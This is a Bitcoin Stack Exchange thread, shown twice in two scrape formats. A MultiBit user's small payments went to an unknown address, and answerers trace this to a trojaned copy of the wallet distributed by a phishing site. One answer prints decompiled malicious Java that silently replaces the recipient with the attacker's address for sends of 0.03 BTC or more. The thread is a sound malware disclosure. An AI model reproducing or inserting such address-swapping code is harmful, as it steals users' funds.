<p>(I am one of the MultiBit devs).</p>

<p>The MultiBit code is hosted on multibit.org ONLY.
The 'tv' copy is a phishing site.</p>

<p>DO NOT USE IT.</p>

CC BY-SA 3.0
2015-04-27T15:22:20.943Z
please make sure to report hxxp://www.multibit.tv/ here: https://www.google.com/safebrowsing/report_phish/
Luca Matteis
CC BY-SA 3.0
2015-04-27T11:24:35.987Z
2015-04-27T11:41:39.567Z
2015-04-27T11:41:39.567Z
jim618
<p>I can confirm that the "MultiBit" software downloadable from MultiBit.tv is a trojan. The version I downloaded seems to be slightly different than OP's, but similar.</p>

<p>After decompiling the trojan, I found (one of?) the bitcoin-stealing changes made. Here's the original source code inside <code>SendBitcoinConfirmAction::actionPerformed()</code>:</p>

<pre><code>if (validator.validate(sendAddress, sendAmount)) {
    // The address and amount are valid.

    // Create a SendRequest.
    Address sendAddressObject;

    sendAddressObject = new Address(bitcoinController.getModel().getNetworkParameters(), sendAddress);
</code></pre>

<p>Here's the modified code, which redirects outbound transactions to the malware author's address only if the intended send amount is >= 0.03 btc (presumably to avoid detection for smaller amounts):</p>

<pre><code>if (validator.validate(sendAddress, sendAmount)) {
    // The address and amount are valid.

    String kanau = "1HHHHhHHh2dUgvedroLJ3BNZ2ip8eAveNn";
    if ((sendAmount.startsWith("0.02")) || (sendAmount.startsWith("0.01")) || (sendAmount.startsWith("0.00"))) {
        kanau = sendAddress;
    } else {
        kanau = "1HHHHhHHh2dUgvedroLJ3BNZ2ip8eAveNn";
    }

    // Create a SendRequest.
    Address sendAddressObject;

    sendAddressObject = new Address(bitcoinController.getModel().getNetworkParameters(), kanau);
</code></pre>

<p>The modification is none too clever, but it can unfortunately get the job done.</p>

CC BY-SA 3.0
2015-04-27T15:50:55.723Z
2015-04-27T17:45:15.793Z
2015-04-27T17:45:15.793Z
Christopher Gurnee
<p>I noticed that the 17iU5t8JXuJux4maPEwWHtuy6cGU4cRiJQ address is shown as the Multibit address here: hxxp://www.multibit.tv/blog.html</p>

<p>However the Multibit donation address at hxxps://multibit.org/blog.html is 1AhN6rPdrMuKBGFDKR1k9A8SCLYaNgXhty </p>

<p>Is it possible you downloaded your Multibit from hxxp://www.multibit.tv/blog.html and that you didn't verify your installer? It's possible (but I don't know for sure) that hxxp://www.multibit.tv is a phishing site, and you've downloaded a backdoored version of Multibit from there.</p>

CC BY-SA 3.0
2015-04-27T07:23:06.207Z
2015-04-27T17:36:26.413Z
2015-04-27T17:36:26.413Z
organofcorti
<p>The address that is unknown to you could be created by your software to put there what is left after a payment. Say you hold 1 btc, and pay 0.1 to some address, 0.9 goes to a newly created address that belongs to same private key of yours. (at least it was the case in older versions of bitcoinqt) <a href="https://blockchain.info/ru/tx/17d87c807ed724e31052346b7dc01027e738f077af382b529474a4cd5b014805" rel="nofollow">an example</a></p>

<p>What happened here is a mystery, but 17iU5t8JXuJux shows some action last month and could well be a collecting address of some sort of trojan/stealer.</p>

<p>Are you experimenting on everyday machine? With so much vulnerabilities and software zoo nowadays it is advised to have a separate cleam machine for that or, probably for the better, offline wallet machine, disconnected from the network.</p>

CC BY-SA 3.0
2015-04-16T20:09:54.117Z
2015-04-16T20:09:54.117Z
zoigo
<p>Premise: I'm quite new to all this bitcoin thing.</p>

<p>After experiencing some problem with a bitcoin transaction, I made few attempts with small quantities (0,0001).</p>

<p>In particular, I've sent 0,0001 to each of three different addresses. However, I've noticed that on MultiBit, on the transactions details, under "description", all of them appear "Sent to [address]" to the same address for all the 3 transactions. Is that normal?</p>

<p><img src="https://i.sstatic.net/N7Dwa.png" alt="enter image description here"></p>

<p>Ok, none of the transaction were addressed to 17iU5t8JXuJux4maPEwWHtuy6cGU4cRiJQ</p>

<p>For example, at 16 Apr 2015, 15:35, I sent 0,0001 bitcoin (plus 0,0001 commission) to 12m1i78fnz31eTbK4cut18y1sTyP6ZHhw5 (which is another wallet of mine). However, I've never received them on 12m1i78fnz31eTbK4cut18y1sTyP6ZHhw5,a and on MultiBit it appears to be sent to this unknown 17iU5t8JXuJux4maPEwWHtuy6cGU4cRiJQ. Same holds for the other two transactions: they weren't meant to be addressed to 17iU5t8JXuJux4maPEwWHtuy6cGU4cRiJQ.</p>

CC BY-SA 3.0
2015-04-16T16:36:13.013Z
Perhaps it would help if you were to add a screenshot to visualize your problem?
Murch
CC BY-SA 3.0
2015-04-16T17:08:36.083Z
That is rather disconcerting since according to Bitcoin all of these transactions really ended up in the 17iU wallet: https://blockchain.info/address/17iU5t8JXuJux4maPEwWHtuy6cGU4cRiJQ and not in your address https://blockchain.info/address/12m1i78fnz31eTbK4cut18y1sTyP6ZHhw5
cdecker
<transactions><address><multibit>
Coins sent to unknown address in Multibit
alpha
# Coins sent to unknown address in Multibit

(Asked by: username_0 on 2015-04-16)

Premise: I'm quite new to all this bitcoin thing.

After experiencing some problem with a bitcoin transaction, I made few attempts with small quantities (0,0001).

In particular, I've sent 0,0001 to each of three different addresses. However, I've noticed that on MultiBit, on the transactions details, under "description", all of them appear "Sent to [address]" to the same address for all the 3 transactions. Is that normal?

![enter image description here](https://i.sstatic.net/N7Dwa.png)

Ok, none of the transaction were addressed to 17iU5t8JXuJux4maPEwWHtuy6cGU4cRiJQ

For example, at 16 Apr 2015, 15:35, I sent 0,0001 bitcoin (plus 0,0001 commission) to 12m1i78fnz31eTbK4cut18y1sTyP6ZHhw5 (which is another wallet of mine). However, I've never received them on 12m1i78fnz31eTbK4cut18y1sTyP6ZHhw5,a and on MultiBit it appears to be sent to this unknown 17iU5t8JXuJux4maPEwWHtuy6cGU4cRiJQ. Same holds for the other two transactions: they weren't meant to be addressed to 17iU5t8JXuJux4maPEwWHtuy6cGU4cRiJQ.

**Tags:** transactions, address, multibit

> **Comments:**
> **username_1**: Perhaps it would help if you were to add a screenshot to visualize your problem?  
> **username_2**: That is rather disconcerting since according to Bitcoin all of these transactions really ended up in the 17iU wallet: https://blockchain.info/address/17iU5t8JXuJux4maPEwWHtuy6cGU4cRiJQ and not in your address https://blockchain.info/address/12m1i78fnz31eTbK4cut18y1sTyP6ZHhw5  

---

## 4 answers

### Answer by username_3 on 2015-04-27. Score: 6

(I am one of the MultiBit devs).

The MultiBit code is hosted on multibit.org ONLY.
The 'tv' copy is a phishing site.

DO NOT USE IT.

> **Comments:**
> **username_4**: please make sure to report hxxp://www.multibit.tv/ here: https://www.google.com/safebrowsing/report_phish/  

---

### Answer by username_5 on 2015-04-27. Score: 4

I can confirm that the "MultiBit" software downloadable from MultiBit.tv is a trojan. The version I downloaded seems to be slightly different than OP's, but similar.

After decompiling the trojan, I found (one of?) the bitcoin-stealing changes made. Here's the original source code inside `SendBitcoinConfirmAction::actionPerformed()`:

```
if (validator.validate(sendAddress, sendAmount)) {
    // The address and amount are valid.

    // Create a SendRequest.
    Address sendAddressObject;

    sendAddressObject = new Address(bitcoinController.getModel().getNetworkParameters(), sendAddress);

```

Here's the modified code, which redirects outbound transactions to the malware author's address only if the intended send amount is >= 0.03 btc (presumably to avoid detection for smaller amounts):

```
if (validator.validate(sendAddress, sendAmount)) {
    // The address and amount are valid.

    String kanau = "1HHHHhHHh2dUgvedroLJ3BNZ2ip8eAveNn";
    if ((sendAmount.startsWith("0.02")) || (sendAmount.startsWith("0.01")) || (sendAmount.startsWith("0.00"))) {
        kanau = sendAddress;
    } else {
        kanau = "1HHHHhHHh2dUgvedroLJ3BNZ2ip8eAveNn";
    }

    // Create a SendRequest.
    Address sendAddressObject;

    sendAddressObject = new Address(bitcoinController.getModel().getNetworkParameters(), kanau);

```

The modification is none too clever, but it can unfortunately get the job done.


---

### Answer by username_6 on 2015-04-27. Score: 2

I noticed that the 17iU5t8JXuJux4maPEwWHtuy6cGU4cRiJQ address is shown as the Multibit address here: hxxp://www.multibit.tv/blog.html

However the Multibit donation address at hxxps://multibit.org/blog.html is 1AhN6rPdrMuKBGFDKR1k9A8SCLYaNgXhty

Is it possible you downloaded your Multibit from hxxp://www.multibit.tv/blog.html and that you didn't verify your installer? It's possible (but I don't know for sure) that hxxp://www.multibit.tv is a phishing site, and you've downloaded a backdoored version of Multibit from there.


---

### Answer by username_7 on 2015-04-16. Score: 0

The address that is unknown to you could be created by your software to put there what is left after a payment. Say you hold 1 btc, and pay 0.1 to some address, 0.9 goes to a newly created address that belongs to same private key of yours. (at least it was the case in older versions of bitcoinqt) [an example](https://blockchain.info/ru/tx/17d87c807ed724e31052346b7dc01027e738f077af382b529474a4cd5b014805)

What happened here is a mystery, but 17iU5t8JXuJux shows some action last month and could well be a collecting address of some sort of trojan/stealer.

Are you experimenting on everyday machine? With so much vulnerabilities and software zoo nowadays it is advised to have a separate cleam machine for that or, probably for the better, offline wallet machine, disconnected from the network.


---

